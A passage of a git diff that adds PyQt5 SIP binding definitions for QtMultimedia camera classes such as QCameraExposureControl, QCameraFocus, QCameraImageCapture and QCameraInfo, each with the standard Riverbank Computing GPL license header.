supportedShutterSpeeds(bool *continuous = 0) const; + +public slots: + void setFlashMode(QCameraExposure::FlashModes mode); + void setExposureMode(QCameraExposure::ExposureMode mode); + void setMeteringMode(QCameraExposure::MeteringMode mode); + void setExposureCompensation(qreal ev); + void setManualIsoSensitivity(int iso); + void setAutoIsoSensitivity(); + void setManualAperture(qreal aperture); + void setAutoAperture(); + void setManualShutterSpeed(qreal seconds); + void setAutoShutterSpeed(); + +signals: + void flashReady(bool); + void apertureChanged(qreal); + void apertureRangeChanged(); + void shutterSpeedChanged(qreal); + void shutterSpeedRangeChanged(); + void isoSensitivityChanged(int); + void exposureCompensationChanged(qreal); + +private: + explicit QCameraExposure(QCamera *parent /TransferThis/ = 0); + +protected: +%If (Qt_5_14_0 -) + virtual ~QCameraExposure(); +%End + +private: +%If (- Qt_5_14_0) + virtual ~QCameraExposure(); +%End +}; + +QFlags operator|(QCameraExposure::FlashMode f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraexposurecontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraexposurecontrol.sip new file mode 100644 index 00000000..8c05fad2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraexposurecontrol.sip @@ -0,0 +1,60 @@ +// qcameraexposurecontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCameraExposureControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QCameraExposureControl(); + + enum ExposureParameter + { + ISO, + Aperture, + ShutterSpeed, + ExposureCompensation, + FlashPower, + FlashCompensation, + TorchPower, + SpotMeteringPoint, + ExposureMode, + MeteringMode, + ExtendedExposureParameter, + }; + + virtual bool isParameterSupported(QCameraExposureControl::ExposureParameter parameter) const = 0; + virtual QVariantList supportedParameterRange(QCameraExposureControl::ExposureParameter parameter, bool *continuous) const = 0; + virtual QVariant requestedValue(QCameraExposureControl::ExposureParameter parameter) const = 0; + virtual QVariant actualValue(QCameraExposureControl::ExposureParameter parameter) const = 0; + virtual bool setValue(QCameraExposureControl::ExposureParameter parameter, const QVariant &value) = 0; + +signals: + void requestedValueChanged(int parameter); + void actualValueChanged(int parameter); + void parameterRangeChanged(int parameter); + +protected: + explicit QCameraExposureControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamerafeedbackcontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamerafeedbackcontrol.sip new file mode 100644 index 00000000..e79f6ccc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamerafeedbackcontrol.sip @@ -0,0 +1,54 @@ +// qcamerafeedbackcontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCameraFeedbackControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + enum EventType + { + ViewfinderStarted, + ViewfinderStopped, + ImageCaptured, + ImageSaved, + ImageError, + RecordingStarted, + RecordingInProgress, + RecordingStopped, + AutoFocusInProgress, + AutoFocusLocked, + AutoFocusFailed, + }; + + virtual ~QCameraFeedbackControl(); + virtual bool isEventFeedbackLocked(QCameraFeedbackControl::EventType) const = 0; + virtual bool isEventFeedbackEnabled(QCameraFeedbackControl::EventType) const = 0; + virtual bool setEventFeedbackEnabled(QCameraFeedbackControl::EventType, bool) = 0; + virtual void resetEventFeedback(QCameraFeedbackControl::EventType) = 0; + virtual bool setEventFeedbackSound(QCameraFeedbackControl::EventType, const QString &filePath) = 0; + +protected: + explicit QCameraFeedbackControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraflashcontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraflashcontrol.sip new file mode 100644 index 00000000..aea0e47f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraflashcontrol.sip @@ -0,0 +1,41 @@ +// qcameraflashcontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCameraFlashControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QCameraFlashControl(); + virtual QCameraExposure::FlashModes flashMode() const = 0; + virtual void setFlashMode(QCameraExposure::FlashModes mode) = 0; + virtual bool isFlashModeSupported(QCameraExposure::FlashModes mode) const = 0; + virtual bool isFlashReady() const = 0; + +signals: + void flashReady(bool); + +protected: + explicit QCameraFlashControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamerafocus.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamerafocus.sip new file mode 100644 index 00000000..f8d272f7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamerafocus.sip @@ -0,0 +1,114 @@ +// qcamerafocus.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCameraFocusZone +{ +%TypeHeaderCode +#include +%End + +public: + enum FocusZoneStatus + { + Invalid, + Unused, + Selected, + Focused, + }; + + QCameraFocusZone(const QCameraFocusZone &other); + bool operator==(const QCameraFocusZone &other) const; + bool operator!=(const QCameraFocusZone &other) const; + ~QCameraFocusZone(); + bool isValid() const; + QRectF area() const; + QCameraFocusZone::FocusZoneStatus status() const; +}; + +typedef QList QCameraFocusZoneList; + +class QCameraFocus : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum FocusMode + { + ManualFocus, + HyperfocalFocus, + InfinityFocus, + AutoFocus, + ContinuousFocus, + MacroFocus, + }; + + typedef QFlags FocusModes; + + enum FocusPointMode + { + FocusPointAuto, + FocusPointCenter, + FocusPointFaceDetection, + FocusPointCustom, + }; + + bool isAvailable() const; + QCameraFocus::FocusModes focusMode() const; + void setFocusMode(QCameraFocus::FocusModes mode); + bool isFocusModeSupported(QCameraFocus::FocusModes mode) const; + QCameraFocus::FocusPointMode focusPointMode() const; + void setFocusPointMode(QCameraFocus::FocusPointMode mode); + bool isFocusPointModeSupported(QCameraFocus::FocusPointMode) const; + QPointF customFocusPoint() const; + void setCustomFocusPoint(const QPointF &point); + QCameraFocusZoneList focusZones() const; + qreal maximumOpticalZoom() const; + qreal maximumDigitalZoom() const; + qreal opticalZoom() const; + qreal digitalZoom() const; + void zoomTo(qreal opticalZoom, qreal digitalZoom); + +signals: + void opticalZoomChanged(qreal); + void digitalZoomChanged(qreal); + void focusZonesChanged(); + void maximumOpticalZoomChanged(qreal); + void maximumDigitalZoomChanged(qreal); + +private: + QCameraFocus(QCamera *camera); + +protected: +%If (Qt_5_14_0 -) + virtual ~QCameraFocus(); +%End + +private: +%If (- Qt_5_14_0) + virtual ~QCameraFocus(); +%End + QCameraFocus(const QCameraFocus &); +}; + +QFlags operator|(QCameraFocus::FocusMode f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamerafocuscontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamerafocuscontrol.sip new file mode 100644 index 00000000..b97c3aff --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamerafocuscontrol.sip @@ -0,0 +1,49 @@ +// qcamerafocuscontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCameraFocusControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QCameraFocusControl(); + virtual QCameraFocus::FocusModes focusMode() const = 0; + virtual void setFocusMode(QCameraFocus::FocusModes mode) = 0; + virtual bool isFocusModeSupported(QCameraFocus::FocusModes mode) const = 0; + virtual QCameraFocus::FocusPointMode focusPointMode() const = 0; + virtual void setFocusPointMode(QCameraFocus::FocusPointMode mode) = 0; + virtual bool isFocusPointModeSupported(QCameraFocus::FocusPointMode mode) const = 0; + virtual QPointF customFocusPoint() const = 0; + virtual void setCustomFocusPoint(const QPointF &point) = 0; + virtual QCameraFocusZoneList focusZones() const = 0; + +signals: + void focusModeChanged(QCameraFocus::FocusModes mode); + void focusPointModeChanged(QCameraFocus::FocusPointMode mode); + void customFocusPointChanged(const QPointF &point); + void focusZonesChanged(); + +protected: + explicit QCameraFocusControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraimagecapture.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraimagecapture.sip new file mode 100644 index 00000000..d61192d1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraimagecapture.sip @@ -0,0 +1,91 @@ +// qcameraimagecapture.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCameraImageCapture : QObject, QMediaBindableInterface +{ +%TypeHeaderCode +#include +%End + +public: + enum Error + { + NoError, + NotReadyError, + ResourceError, + OutOfSpaceError, + NotSupportedFeatureError, + FormatError, + }; + + enum DriveMode + { + SingleImageCapture, + }; + + enum CaptureDestination + { + CaptureToFile, + CaptureToBuffer, + }; + + typedef QFlags CaptureDestinations; + QCameraImageCapture(QMediaObject *mediaObject, QObject *parent /TransferThis/ = 0); + virtual ~QCameraImageCapture(); + bool isAvailable() const; + QMultimedia::AvailabilityStatus availability() const; + virtual QMediaObject *mediaObject() const; + QCameraImageCapture::Error error() const; + QString errorString() const; + bool isReadyForCapture() const; + QStringList supportedImageCodecs() const; + QString imageCodecDescription(const QString &codecName) const; + QList supportedResolutions(const QImageEncoderSettings &settings = QImageEncoderSettings(), bool *continuous = 0) const; + QImageEncoderSettings encodingSettings() const; + void setEncodingSettings(const QImageEncoderSettings &settings); + QList supportedBufferFormats() const; + QVideoFrame::PixelFormat bufferFormat() const; + void setBufferFormat(const QVideoFrame::PixelFormat format); + bool isCaptureDestinationSupported(QCameraImageCapture::CaptureDestinations destination) const; + QCameraImageCapture::CaptureDestinations captureDestination() const; + void setCaptureDestination(QCameraImageCapture::CaptureDestinations destination); + +public slots: + int capture(const QString &file = QString()) /ReleaseGIL/; + void cancelCapture(); + +signals: + void error(int id, QCameraImageCapture::Error error, const QString &errorString); + void readyForCaptureChanged(bool); + void bufferFormatChanged(QVideoFrame::PixelFormat); + void captureDestinationChanged(QCameraImageCapture::CaptureDestinations); + void imageExposed(int id); + void imageCaptured(int id, const QImage &preview); + void imageMetadataAvailable(int id, const QString &key, const QVariant &value); + void imageAvailable(int id, const QVideoFrame &image); + void imageSaved(int id, const QString &fileName); + +protected: + virtual bool setMediaObject(QMediaObject *); +}; + +QFlags operator|(QCameraImageCapture::CaptureDestination f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraimagecapturecontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraimagecapturecontrol.sip new file mode 100644 index 00000000..6a4c4557 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraimagecapturecontrol.sip @@ -0,0 +1,48 @@ +// qcameraimagecapturecontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCameraImageCaptureControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QCameraImageCaptureControl(); + virtual bool isReadyForCapture() const = 0; + virtual QCameraImageCapture::DriveMode driveMode() const = 0; + virtual void setDriveMode(QCameraImageCapture::DriveMode mode) = 0; + virtual int capture(const QString &fileName) = 0; + virtual void cancelCapture() = 0; + +signals: + void readyForCaptureChanged(bool ready); + void imageExposed(int requestId); + void imageCaptured(int requestId, const QImage &preview); + void imageMetadataAvailable(int id, const QString &key, const QVariant &value); + void imageAvailable(int requestId, const QVideoFrame &buffer); + void imageSaved(int requestId, const QString &fileName); + void error(int id, int error, const QString &errorString); + +protected: + explicit QCameraImageCaptureControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraimageprocessing.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraimageprocessing.sip new file mode 100644 index 00000000..ab0c58a1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraimageprocessing.sip @@ -0,0 +1,106 @@ +// qcameraimageprocessing.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCameraImageProcessing : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum WhiteBalanceMode + { + WhiteBalanceAuto, + WhiteBalanceManual, + WhiteBalanceSunlight, + WhiteBalanceCloudy, + WhiteBalanceShade, + WhiteBalanceTungsten, + WhiteBalanceFluorescent, + WhiteBalanceFlash, + WhiteBalanceSunset, + WhiteBalanceVendor, + }; + + bool isAvailable() const; + QCameraImageProcessing::WhiteBalanceMode whiteBalanceMode() const; + void setWhiteBalanceMode(QCameraImageProcessing::WhiteBalanceMode mode); + bool isWhiteBalanceModeSupported(QCameraImageProcessing::WhiteBalanceMode mode) const; + qreal manualWhiteBalance() const; + void setManualWhiteBalance(qreal colorTemperature); + qreal contrast() const; + void setContrast(qreal value); + qreal saturation() const; + void setSaturation(qreal value); + qreal sharpeningLevel() const; + void setSharpeningLevel(qreal value); + qreal denoisingLevel() const; + void setDenoisingLevel(qreal value); + +private: + QCameraImageProcessing(QCamera *camera); + +protected: +%If (Qt_5_14_0 -) + virtual ~QCameraImageProcessing(); +%End + +private: +%If (- Qt_5_14_0) + virtual ~QCameraImageProcessing(); +%End + QCameraImageProcessing(const QCameraImageProcessing &); + +public: +%If (Qt_5_5_0 -) + + enum ColorFilter + { + ColorFilterNone, + ColorFilterGrayscale, + ColorFilterNegative, + ColorFilterSolarize, + ColorFilterSepia, + ColorFilterPosterize, + ColorFilterWhiteboard, + ColorFilterBlackboard, + ColorFilterAqua, + ColorFilterVendor, + }; + +%End +%If (Qt_5_5_0 -) + QCameraImageProcessing::ColorFilter colorFilter() const; +%End +%If (Qt_5_5_0 -) + void setColorFilter(QCameraImageProcessing::ColorFilter filter); +%End +%If (Qt_5_5_0 -) + bool isColorFilterSupported(QCameraImageProcessing::ColorFilter filter) const; +%End +%If (Qt_5_7_0 -) + qreal brightness() const; +%End +%If (Qt_5_7_0 -) + void setBrightness(qreal value); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraimageprocessingcontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraimageprocessingcontrol.sip new file mode 100644 index 00000000..4e338e67 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraimageprocessingcontrol.sip @@ -0,0 +1,57 @@ +// qcameraimageprocessingcontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCameraImageProcessingControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QCameraImageProcessingControl(); + + enum ProcessingParameter + { + WhiteBalancePreset, + ColorTemperature, + Contrast, + Saturation, + Brightness, + Sharpening, + Denoising, + ContrastAdjustment, + SaturationAdjustment, + BrightnessAdjustment, + SharpeningAdjustment, + DenoisingAdjustment, + ColorFilter, + ExtendedParameter, + }; + + virtual bool isParameterSupported(QCameraImageProcessingControl::ProcessingParameter) const = 0; + virtual bool isParameterValueSupported(QCameraImageProcessingControl::ProcessingParameter parameter, const QVariant &value) const = 0; + virtual QVariant parameter(QCameraImageProcessingControl::ProcessingParameter parameter) const = 0; + virtual void setParameter(QCameraImageProcessingControl::ProcessingParameter parameter, const QVariant &value) = 0; + +protected: + explicit QCameraImageProcessingControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamerainfo.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamerainfo.sip new file mode 100644 index 00000000..a67d4f1e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamerainfo.sip @@ -0,0 +1,47 @@ +// qcamerainfo.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_3_0 -) + +class QCameraInfo +{ +%TypeHeaderCode +#include +%End + +public: + explicit QCameraInfo(const QByteArray &name = QByteArray()); + explicit QCameraInfo(const QCamera &camera); + QCameraInfo(const QCameraInfo &other); + ~QCameraInfo(); + bool isNull() const; + QString deviceName() const; + QString description() const; + QCamera::Position position() const; + int orientation() const; + static QCameraInfo defaultCamera(); + static QList availableCameras(QCamera::Position position = QCamera::UnspecifiedPosition); + bool operator==(const QCameraInfo &other) const; + bool operator!=(const QCameraInfo &other) const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamerainfocontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamerainfocontrol.sip new file mode 100644 index 00000000..f096300b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamerainfocontrol.sip @@ -0,0 +1,36 @@ +// qcamerainfocontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCameraInfoControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QCameraInfoControl(); + virtual QCamera::Position cameraPosition(const QString &deviceName) const = 0; + virtual int cameraOrientation(const QString &deviceName) const = 0; + +protected: + explicit QCameraInfoControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameralockscontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameralockscontrol.sip new file mode 100644 index 00000000..e96f669c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameralockscontrol.sip @@ -0,0 +1,41 @@ +// qcameralockscontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCameraLocksControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QCameraLocksControl(); + virtual QCamera::LockTypes supportedLocks() const = 0; + virtual QCamera::LockStatus lockStatus(QCamera::LockType lock) const = 0; + virtual void searchAndLock(QCamera::LockTypes locks) = 0; + virtual void unlock(QCamera::LockTypes locks) = 0; + +signals: + void lockStatusChanged(QCamera::LockType type, QCamera::LockStatus status, QCamera::LockChangeReason reason); + +protected: + explicit QCameraLocksControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraviewfindersettings.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraviewfindersettings.sip new file mode 100644 index 00000000..786c4934 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraviewfindersettings.sip @@ -0,0 +1,57 @@ +// qcameraviewfindersettings.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QCameraViewfinderSettings +{ +%TypeHeaderCode +#include +%End + +public: + QCameraViewfinderSettings(); + QCameraViewfinderSettings(const QCameraViewfinderSettings &other); + ~QCameraViewfinderSettings(); + void swap(QCameraViewfinderSettings &other /Constrained/); + bool isNull() const; + QSize resolution() const; + void setResolution(const QSize &); + void setResolution(int width, int height); + qreal minimumFrameRate() const; + void setMinimumFrameRate(qreal rate); + qreal maximumFrameRate() const; + void setMaximumFrameRate(qreal rate); + QVideoFrame::PixelFormat pixelFormat() const; + void setPixelFormat(QVideoFrame::PixelFormat format); + QSize pixelAspectRatio() const; + void setPixelAspectRatio(const QSize &ratio); + void setPixelAspectRatio(int horizontal, int vertical); +}; + +%End +%If (Qt_5_5_0 -) +bool operator==(const QCameraViewfinderSettings &lhs, const QCameraViewfinderSettings &rhs); +%End +%If (Qt_5_5_0 -) +bool operator!=(const QCameraViewfinderSettings &lhs, const QCameraViewfinderSettings &rhs); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraviewfindersettingscontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraviewfindersettingscontrol.sip new file mode 100644 index 00000000..70572795 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraviewfindersettingscontrol.sip @@ -0,0 +1,63 @@ +// qcameraviewfindersettingscontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCameraViewfinderSettingsControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + enum ViewfinderParameter + { + Resolution, + PixelAspectRatio, + MinimumFrameRate, + MaximumFrameRate, + PixelFormat, + UserParameter, + }; + + virtual ~QCameraViewfinderSettingsControl(); + virtual bool 